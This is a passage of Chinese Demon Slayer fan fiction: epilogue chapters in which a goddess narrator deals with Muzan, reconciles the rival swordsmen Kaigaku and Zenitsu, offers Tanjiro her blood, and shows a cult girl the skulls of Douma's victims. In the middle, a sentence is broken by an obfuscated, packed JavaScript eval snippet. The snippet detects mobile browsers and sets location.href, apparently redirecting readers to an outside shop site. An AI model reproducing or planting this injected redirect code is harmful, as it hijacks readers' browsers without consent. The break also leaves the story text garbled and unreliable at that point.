,憎恨谁,向谁复仇呢?我倒是相当期待,他们会不会去憎恨你们这些神明呢?哈哈哈哈…” 我微笑:“您在想什么呢,无惨大人,越在这个时候,他们越会向神明祈祷。不过市区的神社和寺庙也受损严重,神明们才不会来呢。” “我早说我活了千年,从没见过任何神佛,他们就是不信。哈哈哈哈,果然被我说中了吧!真想看看啊,如果产屋敷那个男人还活着,看到这一切会是什么表情呢?‘人类的意志是永恒不灭的‘…哈哈哈,真想让他用他那张烂到发臭的脸,好好看看人类是怎么个永生不灭,看他还说得出说不出这种无稽之谈!” “产屋敷,我的梦想已经实现了!”鬼舞辻无惨仰头对着无尽的夜空狂喊,“你们战胜不了我!死亡和地狱也战胜不了我!我注定会永远的活下去!而你们这些可悲的猎鬼者,会被所有人遗忘!” 我实在忍不住泼他点冷水:“大人,您在浅草的公司大概也都烧光了吧…一点也不觉得可惜吗?” “白姬小姐,你在说什么蠢话?”他回过头,猫一样的瞳孔在黑暗中发着幽光,“我活了一千年,难道还会在意这点微不足道的损失?说到底,生意只是掩人耳目的东西罢了,而我总有一天会夺回我要的一切,绝不会再给这些蝼蚁任何羞辱我的机会!” “啊,那祝您早日达成梦想。”我笑道,“还有,我要提醒您克制住自己的食欲,这次地震是人类的业果所化,所有的亡魂都会沾染巨大的怨念,势必还会引发其他的灾祸。如果您现在吃了人,我就还要再给您做一轮祓禊,那样就太麻烦了。” 无惨大人目光深邃地看着我。 “其实我一直有个问题,白姬小姐。那就是你到底为什么要救我?你究竟想从我身上得到什么东西?“ 我摊手:“只是因为没人救您,不行吗?我可是个神明,神明是慈悲为怀的。” “呵呵,你以为用这种谎话能骗住我?神明这种东西,说到底除了不吃人,和鬼没有区别,让你们出手救人,必定是有其他原因吧。” 我轻轻叹了口气。 “我知道我无论说什么您都不会轻易相信。那么这个理由怎么样?我救您,是因为您曾经救过童磨。” 无惨大人明显愣了愣,随即,那张俊美的面庞上浮现出讥讽的笑意。 “真让我意外啊,竟然是这种原因吗?白姬小姐,你是我见过的第一个把化鬼当作是拯救的人,我不得不承认,哪怕是我的十二鬼月,其中有些人也无法理解我的做法。能说说你为什么这么想吗?“ “神明的种子本身缺乏强烈的自我意识,无法理解人类的感情,又在无意中被人世的黑暗吞噬了灵光,以我的推测,在遇见您以前,他应该已经没有作为人类活下去的理由了吧。就算没有变成鬼,极乐教的神之子,也注定迎来其他悲哀的结局。”我淡淡地说,“是您给了童磨作为‘自我’最重要的‘名字’,也是您给了他作为‘鬼’的认知,让他还能保留自己最后的意志。成为鬼,是他当时唯一的生路。可以说,在童磨还是人类的时候,没有任何一个人能够救他,只有您做到了,您就是他的神明,所以我必须报答您的恩情。” 鬼王盯着我的眼睛,冷冷地说:“虽然你的话让我很感动,但白姬小姐,我从来没有过要救什么人的想法。所谓同伴只是人类那种软弱的生物才需要的东西,我制造十二鬼月,乃至所有的鬼,仅仅是为了帮我寻找青色彼岸花,你应该知道这一点吧。” “我知道啊,但那又如何呢?”我说,“不论您的目的是什么,我要的结果已经达到了。就像童磨的万世极乐教一样,虽然两百年中他吃了很多人,但也有很多人真的得到了安慰和救助。世上之事并无绝对的完美,无惨大人,黑暗与光明很多时候只是同一件事的两面,但人们往往只想要光明,不接受黑暗,这是不合理的。” 无惨大人神色复杂地审视了我片刻,“虽然不想承认,但我很欣赏你的才智,也无法忽视你的实力。白姬小姐,我希望我们的合作关系能保持下去,你以后有何打算?” “我还没有想好,毕竟这不是我一个人的事。您呢?” “我定了三个月后的船票。” “啊?去哪里?” “英国。伦敦有生意伙伴邀请我过去洽谈药品的贸易。” 这一刻鬼王似乎变回了那个精明的贸易公司老板,他拉了拉风衣,冷静地说:“我已经不想再在产屋敷家浪费任何时间了,或者说,千年来被阳光这种无法抗拒的原因困在这个地方,与猎鬼者无休无止的纠缠,已经让我厌烦了这里的一切。无论从技术、药学还是其他方面而言,我认为在西洋能有更好的发展,如果你们愿意的话,可以与我同行。” 我惊讶地看着他,感觉这位大人好像自打从地狱回来后,多多少少也还是发生了一些变化。 “真是万分感谢您的邀请。”我朝他露出了一个真挚的微笑,“我会回去和童磨大人商量这件事,他一定会很高兴的。” “呵,你别搞错了,白姬小姐,我不需要你们的感谢,我们之间的关系只是生意伙伴而已。” “当然,我们只是生意上的伙伴。”我笑着伸出右手,“希望我们今后的合作愉快,无惨大人。” 鬼王眯了眯眼睛,最终握住了我的手。 “愿我们在今后无尽的岁月中合作愉快,神明小姐。” 104. 尾声:未来(中) 回到荒川神社,我查看了下四处的情况,所幸正殿和拜殿都没有损坏,不得不说山田先生找的匠人真心可靠,神社几乎完全复原了我记忆中的样子,不仅如此,连庭院中的草木都搭配的相当完美,此时正值大片的紫阳花盛放,因为先前以水渠引进了后山的山泉,手水舍中的竹筒向外冒着汩汩的泉水,完全没有受到地震的破坏。 我弯腰捧起一捧泉水,内心犹豫了很久。 那水色清澈而明亮,倒映着七色虹光,恰似… 恰似那个孩子的眼睛。 那个被黑暗的时代永远吞噬的神明之子,他是我的信仰,也是我心中不灭的光芒。 如果是他的话… 如果是那个年仅七岁,却说出了“希望大家都能从我这里得到幸福”的温柔的孩子的话。 他会怎么做呢? 他一定会勇敢地敞开大门,帮助那些可怜的人吧。 既然如此的话… 既然如此,就让我代替你,把你曾经拥有的善良,传递下去吧。 “大家!麻烦听我说句话!” 我站在山下的鸟居旁,对着面前废墟中彷徨的人群喊道。 “我是荒川神社的巫女,我们神社这边有干净的水,如果需要的话,请来这里避难吧!” 麻木的人群中渐渐出现了窃窃私语声。 “真的有水吗?是骗人的吧?” “自来水管道都断了,哪来的水?” “是山上的泉水,可以喝!您不相信的话可以来看看!” “拜托!拜托给我们水!”有个抱小孩的女人哭着说,“我的孩子受伤了,已经好几天没喝到水了!请救救他吧!” “请您跟我来吧!” 我从来不知道,人类有一天会这么需要水。 仅仅是水而已,就决定了一个人的生死。 受伤的人需要水来清洗伤口,发热的人需要水来降低体温,往后的几天,政府发下了救济灾民的米,也需要水来煮成米饭。 狯岳帮我跑了好几趟极乐寺,拿来了药品和干净的纱布,甚至还有一大堆厨房存的鲣鱼干,最后一次回来的时候格外慢,我等到了晚上,才看到阿萤和山田先生带着几个身强力壮的信徒,扛着几袋大米气喘吁吁地跟在他后面。 看到我惊讶的眼神,少年气的骂了起来:“我他妈都说了不让他们来!非要跟着我!真是啰嗦死了!” 山田先生难为情地搔了搔光溜溜的脑袋:“让荒川小姐一个人在这里忙来忙去,就算我们不担心,教主大人也会担心的吧?毕竟是些不熟悉的人,这种时候做出什么事都是有可能的。而且…”他顿了顿,认真的说,“荒川小姐之前说的话,我觉得很有道理,对神明最好的供奉,是亲身去帮助受苦的人,我们极乐教的信徒也该做点力所能及的事,来报答神明的恩惠。” “我也想帮上稻玉先生的忙呀!”阿萤撅着嘴说,“你老是那么凶干嘛?早知道不给你做饭团了!” 于是冷清了两百年的荒川神社终于热闹了起来,正殿前的空地变成了营地,人们就地用铁锅煮饭,到了傍晚就满院子升起袅袅的炊烟,阿萤在学校里学过急救,就跑来跑去的帮我一起给受伤的人处理伤口。 有天早上,我被一阵铃铛声吸引,发现是先前抱孩子的女人在拜殿外虔诚的跪拜,见我过来,她面露喜色: “巫女大人,我的孩子已经不发烧了,多亏神明保佑!那个…请问这里面供奉的是哪个神明啊?” 我迟疑了片刻,说道: “是荒川之神,名为白姬的荒川之神。” “荒川之神?是掌管荒川的神明吗?以前听家里的老人提起过,几百年前荒川这边有供奉水神的传统,原来说的就是这里呀!您是这家神社的继承人吗?” “是的。”我点点头,“我是侍奉荒川之神的巫女,只是之前不住在这边。” “您会有好报的,巫女大人。神明一定会保佑您的。”女人真诚地说。 就这样又过了几天,街上谣言四起,说是有“外国人”抢劫、还往井水里投毒。宪兵开始大肆抓捕所谓的“外国人”,最后连说方言的乡下人都一起抓了去,灾民也疯了,处处组成民团,围追堵截“外国人”,一时间闹的沸沸扬扬。 一天傍晚,天都已经黑了下来,我坐在正殿后面的屋子里和山田先生喝茶聊天,忽然门外起了一阵骚动,隐隐传来骂声。 “真晦气,别把外国人带到我们这里来!外面都说了,他们都是坏人,要是往我们的水里下毒可怎么办?!” “拜托大家了!这个人是无辜的!”有个年轻人的声音焦急地说,“他流了好多血,马上就要死了!求你们帮帮忙吧!” “你一个小孩子懂什么!你可以进来,外国人不能进来!否则别怪我们不客气!” “你们是什么来历?看你们面生的很,不会是和坏人一头的吧?” “你们讲不讲道理啊?”另一个年轻的声音大声说,“我们也是碰巧路过这里,看到这个人受伤了才帮忙的,你们见死不救也就算了,怎么能说这种难听的话?” “吵死了!我们神社的水是神水,只救本国人,不救外国人!你要救他就自己去救,别来烦我们!” “什么本国人外国人?出什么事了?” 我推开门走了出去,看到几个男人气势汹汹地拦在神社门口,他们对面似乎是两个年轻人,半扶半拖着一个全身是血的人。 见我出来,几个人恭敬地鞠躬道:“巫女大人,这两个孩子非要把外国人带进神社里来,被我们拦住了。是打扰到您了吗?真是不好意思。” “拜托您了!这个人快不行了!外面找不到医生!”那个年轻人奋力喊道,“请救救他吧!” 我微微皱了皱眉,发现那是一张熟悉的面孔,额角带有火焰般的纹路。 “灶门…炭治郎?” 少年虽然长高了一些,看上去却有些消瘦,脸色也不太好看。他显然认出了我,神色变得警惕起来,另外那个黄头发的男孩子则大声嚷嚷起来: “怎,怎么是你?!你想干什么?那个上弦…” “善逸,别再说了。” 姓灶门的少年忽然出声制止了他,有点悲伤的看了我一眼,“我们走吧。” “让他们进来吧。山田先生,麻烦您看一下那个人的伤势。” “巫女大人!那是个外国人,大家都说…” “不论外国人还是本国人,大家都是人类。”我淡淡地说,“如果一场天灾还没有教会你们人类应该帮助彼此这件事的话,神明还会降下更多的天灾,这就是因果报应,大家能理解吗?” “是…您说的对。”说话的男人终于退到了一边,顺便恶狠狠地冲那两个少年说,“这位巫女大人是慈悲的人,小子,你们要记得感恩。” 山田先生摸了摸伤者的脖子,冲我摇摇头。 “失血太多,人已经死了。” “真不幸啊。”我叹了口气,“麻烦您找人安葬了他吧。” 我转头看着那两个跪坐在一旁的少年,不,他们现在已经不是少年,而是青年了,但眼神依然清澈,只是神色显得有些迷茫。 “怎么会…”灶门炭治郎低下了头,握紧了拳头,双肩微微颤抖,“那个人什么也没做错,只是站在路边而已,就被人打死了…为什么会变成这样…” 我看着他有点发白的嘴唇和一侧萎缩的手臂,轻声说: ”你今年…有二十一岁了吧?” “你问这个干什么?”那个叫善逸的青年冷冷地说,“炭治郎很健康,医生说…” “善逸,这位小姐是好人。” 名为炭治郎的青年缓过神来,朝我温和地笑了笑,“真想不到,有一天会和您坐在这里聊天。对,我已经二十一岁了。” “真好。生的是男孩子?” “一个男孩子,一个女孩子。” “好厉害!”我笑起来,“这个我可做不到!真羡慕你们啊!” “喂…你到底想干什么?”黄头发青年满脸狐疑地说道,“把这些人聚集在这里,不会是想给鬼吃吧?” 我笑了笑:“抱歉,让你失望了。如果我告诉你,这些人吃的米,用的药品,都是我们万世极乐教提供的,你会不会很吃惊?” “我听伊之助说过,那个上弦鬼就是会假装是个大善人,把人类养起来慢慢吃掉…” “哦,是啊,他现在一天还要吃十个八个女孩子呢,”我懒洋洋地说,“这么说的话你满意了吗?” “你…” “善逸!拜托了,别再…” 灶门炭治郎忽然咳嗽起来,我皱了皱眉,递给他一杯茶。 “你来城里干什么?其他人呢?” 他喝了茶,缓了口气说:“香奈乎和祢豆子在家,伊之助守着他们,但我和善逸都觉得应该帮大家做点什么,所以就来了。” “你真是个善良的孩子。”我微笑道,“你的父母完全有资格为你感到骄傲,他们一定很爱你和你妹妹。” 青年的眼睛里荡漾着温柔的光。 “是啊,爸爸和妈妈都很爱我们,虽然家里的孩子多,爸爸身体也不好,但大家都能得到一样的爱。说起来,上次见面时您也提到过同样的事,我和妹妹确实得到过很多人的帮助,所以祢豆子哪怕在变成鬼的时候,也保留了自己的人性,没有去吃人。” “所以你应该明白这个道理吧?只有得到过爱的孩子,才懂得如何去爱,只有得到过救赎的人,才懂得怎样去救赎他人。”我也温和地说,“每个孩子都想要得到幸福。而所谓的鬼,只是从未得到过幸福的人而已。” “我知道,但我始终无法原谅…无法原谅鬼夺走人类的生命…” 他看着我,略显期待的说:“如果是您的话…可以改变鬼吗?我以前听忍说过,她的姐姐梦想有一天,人类和鬼可以和平相处,如果您真是神明的话…是不是可以做的到呢?” “灶门炭治郎,你能改变人类吗?” “啊…”那青年微微一愣,“您的意思是…” “你看看外面的那些人类,他们之间能够和平相处吗?” 他眼中闪过一丝暗淡,无言地低下了头。 “鬼曾经也是人类。既然人类之间都无法和平相处,你又凭什么指望鬼能和人类和平相处呢?”我缓缓倒了一杯茶,“好好珍惜你的身体,好好爱你的孩子们,让他们和你一样,在父母的爱中长大,这就是你能为人类所做的最重要的事了。” 话音未落,房间的拉门忽然被一股大力扯了下来,狯岳站在门口,把扯烂的纸门丢到一边,脸色阴沉的像要吃人。 “哈,我说怎么远在门口就闻见里面有股垃圾的味道!原来是我那废物师弟啊!” 哦,糟糕。忘了这小子出去买东西,也该回来了。 黄头发的青年瞳孔剧震,第一反应是将手伸向腰间,没摸到刀,居然顺手抄起了我的茶壶。 “你…你你…” 狯岳一步步走了进来,脸上满是狰狞的笑,连鬼纹都露了出来。 “我没去找你,你倒是找上门来了,怎么样,小废物?准备好接受师兄的教导了吗?老子可是在地狱里练了很久的刀,就等着把你切碎呢!” 叫善逸的青年也终于回过神来,咬牙切齿瞪着他。 “我早就该知道,你们这些鬼都没死透!狯岳,你才是个垃圾,你变鬼吃人,害的爷爷切腹,还有什么好说的?!你信不信我…” “都住手!” 一道金色的涟漪在空气中荡漾开来,两个剑拔弩张的年轻人全都僵在原地,动弹不得。 狯岳呲牙咧嘴地怒视我:“女人,你他妈别多事,这是我跟这小废物之间的事!” “我当然知道这是你们师兄弟之间的事。”我从善逸手里拿走了我的茶壶,“你们实在要打的话,麻烦出去打,要是砸坏了神社的任何东西,别怪我不客气。” “可我必须提醒你,狯岳,山田先生和阿萤他们都在外面,你要是想让他们看见你鬼化的样子,就这么出去见他们吧。” “还有你,是叫善逸吧?你已经结婚了吧?今天你要是死在这里,炭治郎那个漂亮的妹妹就要做寡妇了哦。真可惜。”我拿起茶杯,“所以你们要不要重新考虑下沟通方式?” 灶门炭治郎犹豫了一下,也劝道:“善逸,既然已经这样了,就好好跟你师兄说说话吧,他身上没有血腥的味道,应该很久没吃过人了…” 两个年轻人彼此的眼中都喷发出怒火,但被我的“言灵”压制的一动也不能动,只能僵持在原地对骂。 “你为什么要变成鬼?你明明是爷爷的继承人!都怪你变成鬼,爷爷才会死的那么惨!” “哎呦,真会讲大道理,你他妈不是也结婚了吗?老头子的雷之呼吸也失传了吧?我是变鬼了,可也没见你这小废物有什么出息啊!”狯岳扯着嗓子哈哈大笑,“再说明明是鬼杀队那破烂规矩逼的老头子自杀,他自己愿意死,我有什么办法?” “你到底为什么要这么说话?!”善逸突然红着脸大吼道:“我和爷爷没有对不起你,你为什么总是这样?我们一直当你是一家人啊!” “狗屁的一家人!”狯岳冷笑,“老头子就是偏心眼,我不论怎么努力都得不到他的认可!我辛辛苦苦每天天不亮就爬起来练刀的时候你他妈还在睡大觉!我杀鬼杀到一身伤他也更喜欢你这个哭哭啼啼的废物!竟然让我和你一起继承雷之呼吸,我妻善逸,你凭什么?啊?你凭什么跟我相提并论?!” “凭我能砍了你的脑袋!够了吗?!” 狯岳顿时愣住了,随即脸上青筋暴起,牙咬的咯咯响。 “终于说出来了啊!你恨我对吧?你们全都恨我!鬼杀队的人在背后说我的坏话,你和老头子也都讨厌我,你们没一个好东西!我一点也不后悔变成鬼,至少以后再也没人会看不起我了!” “才不是那样呢!”善逸嘶喊:“爷爷总在我面前夸你勤奋,让我虚心向你学习,好好和你相处!我打心底里尊敬你,因为你那么努力!但为什么你总也不满足?!你明明对我们来说是那么重要的人啊!” “满足?我他妈为什么要满足?我在路边水坑里喝泥水的时候你还在爹妈怀里撒娇吧?我因为饿肚子偷了钱被人指着鼻子唾骂的时候,你至少有饭吃吧?我他妈被赶出寺庙,被鬼追的满山跑的时候,你还有房子住吧?我差点死在入队选拔里的时候,你还躺在女人怀里花家里的钱吧?我不拼命往上爬,就只有死路一条!你呢?你有朋友,有师父,有女人,我他妈有什么?啊?!” 我被吵的头疼,不禁暗自庆幸自己先一步设下了结界,否则被外面听见这都什么乱七八糟的啊… 话说我的言灵压制真管用,时间也变长了,不错不错。 “那个…狯岳先生,”灶门炭治郎温柔的说,“虽然不是很清楚你们之间到底发生了什么,但善逸是真的为你难过来着,埋葬师父的遗骨时他还哭着说,最后也没能和你好好相处,写给你的信你从来没有回过,没想到连你的尸体都找不回来了呢。” “还有,善逸你听不出来吗?你师兄他也很后悔师父的死,他只是…羡慕你而已啊。” 我在一边点点头,“对啊,小狯岳,你在地狱里时明明因为师父后悔的嚎啕大哭来着吧?怎么一见到你师弟就死活不承认了呢?“ “我他妈什么时候哭了?你别胡说八道!” “我也没哭!我讨厌他都来不及!炭治郎你别胡说!“ “唉…”我俩一起叹了口气。 屋子里突然陷入了死一般的沉默。过了半天,忽然听到那名为善逸的青年说: “狯岳…觉得后悔的话,就去看看爷爷吧,他一定很想你。” “轮不到你这个小废物教训我!我才不去呢!” 善逸呆呆的看着他,眼泪突然掉了下来:“师兄…我不小了…比你变成鬼的时候年纪还大了。我已经…是个大人了啊…” “爷爷他…让我们一起继承雷之呼吸,是因为我只会壹之型,而你唯独不会壹之型,我们两个合起来,才是完整的雷之呼吸啊…” “…你别哭哭啼啼的,我看了就烦。”狯岳厌恶地说,“我妻善逸,你什么时候能像个男人一样?你砍我脑袋的气势到哪去了?再说完整的雷之呼吸又怎么样?鬼杀队都已经解散了,呼吸法早晚也没人再记得,老头子…师父他为鬼杀队卖了一辈子命,最后是这种结局,当上柱又如何?我算看透了,猎鬼人对我来说只是一份工作而已,以后我只想为自己而活。我再也不想看见你了,快滚吧。” “我明白了。”那黄头发青年露出了失落的表情,“我们以后不会再见面了,但是雷之呼吸是不会失传的…师兄的话,是可以一直记住雷之呼吸的吧?等我老了,死了,师兄也会一直记得雷之呼吸,那样就…够了啊。“ “我他妈为什么要记得那种东西?!”狯岳又暴躁起来,“刀这玩意早就过时了,你到底懂不懂?“ “小狯岳,你这就是撒谎了啊。”我不得不插嘴道,“谁前几天还跟我说,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252381|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己还是喜欢当剑士呢?” “死女人!你怎么那么多话?!赶紧放开我!腿都麻了!” “哦,那你要先保证不跟师弟动手,我就放开你。” “凭什么要我先保证?!你干嘛不说他刚才还要拿茶壶砸我!” 我深深吸了一口气,终于忍无可忍的咆哮起来: “狯岳!你多大了?!这嘴上争强好胜的毛病到底什么时候能改过来?!是不是又想挨揍啊?!” 狯岳“切”了一声,不说话了。 “你在极乐教明明能和大家好好相处,山田先生他们都很喜欢你。我说过吧,你长大了,不是那个街头的流浪儿了,人是会长大的,不能永远抱着过去受到的伤害不放,那样最痛苦的难道不是你自己吗?你想往后都沉浸在这种痛苦里活着吗?你要活很久呢!” “变成鬼的人,没有哪个不是背负着巨大的痛苦和孤独,就连那位大人也一样,但你必须努力让自己好起来才行,否则没人救得了你!” “善逸。”我扭头看着狯岳那个满脸泪痕的师弟,“你师兄和你不一样。他是那种必须拼命抓住点什么,才能活下去的人,你说的对,他永远不会满足,但你不是他,能让你满足的东西,亲情也好,爱情也罢,对他来说是不够的。他努力、刻苦,只是因为他永远感受不到安全,但这不是他的错,只是小时候那些可怕的记忆留给他的伤口罢了,你现在能理解了吗?” “不论承认与否,你们都曾经是亲人,我劝你们好好跟对方道个别,毕竟现在天灾人祸这么多,万一以后再也见不了面呢?你们之前在无限城,也没来得及道别就…分开了吧?” 我拍拍手,解除了言灵的束缚,两个人同时跌坐在地上。 结果反倒是那个看起来很老实的善逸先爬了起来,一言不发、一瘸一拐的向门外走去。 “哎呦,看看我这倒霉师弟,腿怎么都瘸了?不会是被人给揍了吧?”狯岳坐在地上阴阳怪气地说,“这么一看更是一副穷酸样,那个炭治郎,我就不明白,你妹妹到底看上他哪点啊?” 炭治郎看着他:“狯岳先生,善逸不是你说的那样,他虽然胆小,却很温柔又可靠,也努力扛过了鬼杀队的所有训练,你总这么说他,他会很难过的。” “哈,他整天都一副哭唧唧的样子,没有不难过的时候…” “腿…是在砍完你以后断的。” 黄头发青年站在门口,忽然出声说道。 “你是知道的吧,雷之呼吸的全部力量都落在腿上,我当时把所有力气都用上了,只想…杀了你。” “但不知道为什么,看到你还活着,我还是…还是…很开心…” “狯岳…师兄,我们,就此永别吧。“ 说罢,他推开门,头也不回的向外走去。 “混蛋!老子还没说话,你他妈倒先跑了!”狯岳蹦了起来,气急败坏地骂道,“滚吧!滚的越远越好!” 他怒气冲冲地踢了一脚那破破烂烂的纸门,也大步走了出去。 “唉…”我和灶门炭治郎又同时叹了口气。 “看来是真的没办法和好了呢,他们两个。” 炭治郎有点悲伤的说。 “都还是小孩子,也许过几十年会改变想法也说不定。”我淡淡地说,“倒是你,现在他们都不在这里,我问你,如果我有办法让你多活些年,你能接受吗?” 那青年惊讶地转头看着我:“您为什么要帮我?毕竟我是…” “我知道,你曾经是猎鬼人,现在也是那女孩子的丈夫。” 我拿起茶壶,重新放在炭炉上。 “但你是个温柔的孩子,和我喜欢的人一样。既然他到最后也没有憎恨过任何人,作为神明,我也不想怀着恨意活下去。” 他眼中亮起了些微的光:“您有办法…治好我的身体?” “从神明的角度来看,斑纹其实是一种神降的现象,作为人类,要通过呼吸法掌握神明的力量,就必然带来身体的耗损,理论上这种耗损是来自内部的,无药可医。但是…我的血里,恰好含有一部分鬼血。” “鬼血对于身体再生有奇效,而神明之血能克制鬼化,加上你本来也是人类,接受我的血并不会让你变成鬼,但或许能够修复你的身体。怎样,要不要为了你的妻子和孩子们试试这个办法?” 灶门炭治郎低下头想了片刻,重新抬起头时,眼中只余下坚决。 “谢谢您的好意,但我不能接受。” “我的爸爸妈妈和弟弟妹妹们,全都死在鬼的手中,我重要的前辈、朋友,也有很多死在了和鬼的战斗中。我能理解鬼的悲哀,但我永远无法原谅鬼的罪行。” “所以…即使是死去,我也希望能像炼狱前辈那样,作为一个纯粹的人类而死。” “在我意料之中。”我点点头,“那么,祝你余生幸福,灶门炭治郎。” “承蒙您的款待,神明小姐。” 青年认真的对我行了个拜礼,随后站起身走出了大门。 回到京都已经是一个月后,寺院周围的枫林都有些红了。我心虚的要命,于是蹑手蹑脚地溜进了屋里,却看见那只鬼坐在檐廊下,靠着柱子一动不动。 我跑过去一看,发现他居然睡着了。 什么情况?! “童磨大人!你怎么了?!没事吧!”我抓住他一通晃,“是又吃什么奇怪东西了吗?!” 鬼睡眼惺忪地睁开那双漂亮的眼睛,看到是我,立刻流下来两行泪。 “小染,人家要饿死了啦…呜呜,你怎么才回来嘛…” 我目瞪口呆地看着他,感觉无论从哪个角度他都不太像是会被饿死的那种人,啊不,鬼,于是伸手拍了拍他的脸。 “停下,别装了。你是牙被拔了还是失去狩猎能力了?京都那么大,街上不管是人吃的还是鬼吃的总有一样你能吃吧?” “小染不在家,人家什么也不想吃嘛!但还是好饿呜呜呜…饿到人家都只能靠睡觉打发时间啦…” 我盯着他看了一会儿:“你…不会是真的一个月什么也没吃吧?” “是真的哦,”鬼无辜地说,“人家都饿瘦了,你没看出来嘛?” “这个还真没看出来…” “我不管,小染丢下我这么久,人家要补偿!” 我捂脸:“我错了,我也没想到会耽误这么久嘛。那个…你想吃什么,我给你做。” 却没留神直接被一把按在了地上。 鬼笑眯眯地露出了上下四颗獠牙。 “想吃小染,这次要全部吃干净,连骨头都不留~“ 眼见夜幕降临,寺院里的灯笼都亮起来了,我才拖着被折腾的差点散架的身体爬起来,一边在心里骂街,一边给那只鬼准备酒和泡澡水。 童磨懒洋洋地歪在檐廊下,一边抽烟,一边看着我忙里忙外。 “东京怎么样啦?一定很惨吧?” “别提多惨了。”我摇了摇头,“这片土地上的怨气越来越重了,伊奘冉尊关闭了地狱,很多亡灵又执念深重,不肯去转世,全都困在人世,这是要出大事的。” “好可怜啊…人家真是不懂这些人类,死亡到底有什么可怕的呐?” 我笑道:“也有例外。我碰上了灶门炭治郎,那孩子看着不太好,但他宁可作为人类死去,也不愿意接受一滴鬼血,还跑到城里救人,是不是很厉害?” “鬼杀队都是那样的人嘛,完全可以理解。”鬼笑嘻嘻地说,“但他们和鬼一样,也是少数哦。大多数的人类,越是在这种时候,越会觉得自己可怜,一定会把罪责全都推到比自己更弱的人身上,如果我猜的没错,他们应该已经开始自相残杀了吧?” “你是猜的不错,有人已经开始把矛头指向来自其他国家的人了,说他们抢劫和投毒,街上打死了很多人。” 我叹了口气,在檐廊边坐了下来。那只鬼顺势蹭过来,心安理得的枕在了我腿上。 “我还碰到无惨大人了,他定了两个月后的船票到英国去…问我们要不要一起。这件事必须跟童磨大人商量才行,毕竟你的信徒都在这里。但我想…去看看更大的世界,也不是什么坏事。” “信徒就不用小染担心啦,以前又不是没有离开过他们,而且我用御子看过,他们这几年都活的不错嘛。”童磨一手夹着烟杆,吐出个细细的烟圈,“我啊,只要跟着小染,去哪里都可以哦~” 我微笑起来,忍不住摸了摸他美丽的白橡色长发。 “那就一起走吧,去看看真正的大海。” 105. 尾声:未来(下) 一切准备妥当后,教主大人在教内公布了他将再次前往极乐净土的消息。 极乐教的信徒们都已经见识过神明之子的种种“神迹”,自然深信不疑,虽然都表现出不舍,但也遵从教主大人的教诲,以“过安稳快乐的生活、帮助他人、放下不必要的执念”等等一系列信条作为自己今后的修行指引,以期待此生圆满后进入极乐。 其实灵魂并不需要所谓的“极乐世界”,能做到以上这些的,自然就能直接转世了。 唯一让我感到了为难的,居然是阿萤。 这姑娘在某个下着秋雨的夜里跪在经堂外,哭着要追随教主大人一起去往极乐。 而教主大人只微笑着说了句“不可以哦,小芥子,你此生的工作还没有完成呢,实在不明白的话,就让荒川小姐来解答你的疑惑吧”,就把她丢给我了。 我看着坐在我面前泣不成声的少女,知道一定是哪里出了问题。 “阿萤,你了解‘极乐’的真实含义吗?” “我当然…当然了解了。”阿萤抽噎着说,“我从小没有父母,是在教里长大的,山田先生对我说过,教主大人会选择纯洁的女孩子去极乐净土,我一直期盼着这一天,为此一直在努力修行,可为什么,为什么教主大人不许我去?是我哪里做的不好吗?” …信仰这东西太虔诚了也是个问题。 “你真的想知道这个问题的答案吗?就算或许会后悔?” “我想知道!否则我不会甘心的!” “我明白了。”我叹息道,“你跟我来。” 我带她来到了那间被我用结界封起来的、保存着童磨的“收藏品”的屋子。 当看清眼前是何物时,少女发出了一声短促的尖叫,直接坐倒在地上,拼命向后瑟缩着身体。 和当年的琴叶一样,她吓坏了。 “这,这是什么啊?荒川小姐…怎么会有这么多…这么多死人头骨?” 我淡定的说:“这都是去往了极乐净土的女孩子们,你现在懂了吗?” 她脸色煞白,“您的意思是,她们都…死了?” “否则你以为人类要怎么去极乐净土呢?阿萤?”我笑笑,“长出翅膀飞去吗?还是像西洋童话里那样,掉进兔子洞就能去?” 我轻轻抚摸着其中一个头骨,决定将这个故事讲的稍微委婉一点: “她们和你一样,都是失去父母、无依无靠的女孩子,活在世上非常艰难,才来投奔万世极乐教。教主大人怜悯她们,于是赐予了她们‘救赎’,让她们得以远离世上的一切痛苦,获得新生。” 女孩的胸膛剧烈的起伏,看得出来受到了巨大的打击。 我已经打定主意,如果她实在接受不了这个事实,就抹去她的这段记忆,当作什么也没有发生过。 “是教主大人…杀了她们吗?”阿萤捂住了嘴,“教主大人他…不是神明吗?” “教主大人是神明,但他是既会救人,也会杀人的神明。” 我平静地说,“他庇护着信徒,把让他们得到幸福视为自己最重要的义务,也正是由于这个原因,他会帮信徒们了结痛苦。阿萤,神明的爱,和人类是不同的。” 我蹲在惊慌失措的女孩面前,对她说道。 “这就是万世极乐教最大的秘密,山田先生知道这个秘密,他可能没有详细的告诉过你,但我决定让你知道,因为你已经长大了,也在东京读了这么久的书,你有权知道把你从小养大的教主大人,是什么样的存在,也有权知道,神明是什么样的存在。” 阿萤的嘴唇翕动了几下,呆呆地说:“怎么会这样?教主大人他…是那么温柔的人啊…” “我小时候第一次见到他,是被山田先生带着,那时妈妈刚刚病死,我一个亲人都没有了,是教主大人对我说,不用担心哦,放心地住在这里就好…教主大人他还摸了我的头,说我很可爱,一定是个好孩子…” “我当时觉得他的眼睛好漂亮,像彩虹一样,马上就一点都不害怕了…” “山田先生也知道这件事吗?他,他为什么没有告诉我…” “因为这已经是过去的事了,今后的信徒,将不再需要这样的‘救赎’了。” 我看着面前的少女,微笑道: “时代已经不同了,现在的教主大人更希望大家过平静的生活,安稳的在寺院中生活下去,像你这样的孩子,应该出去读书、工作,去看看广阔的世界,而不是只想着去极乐净土。阿萤,你必须认真的活过一生,体会过身为人类的酸甜苦辣,才能去往极乐哦。” “你可以选择你的未来,如果你觉得这样的万世极乐教让你觉得讨厌,完全可以离开这里,去做自己想做的事。你只要记住,女孩子并不比男孩子差,只要努力,就一定会有所成就。但就算遇到痛苦的事,也不要气馁,要永远怀着希望哦。” 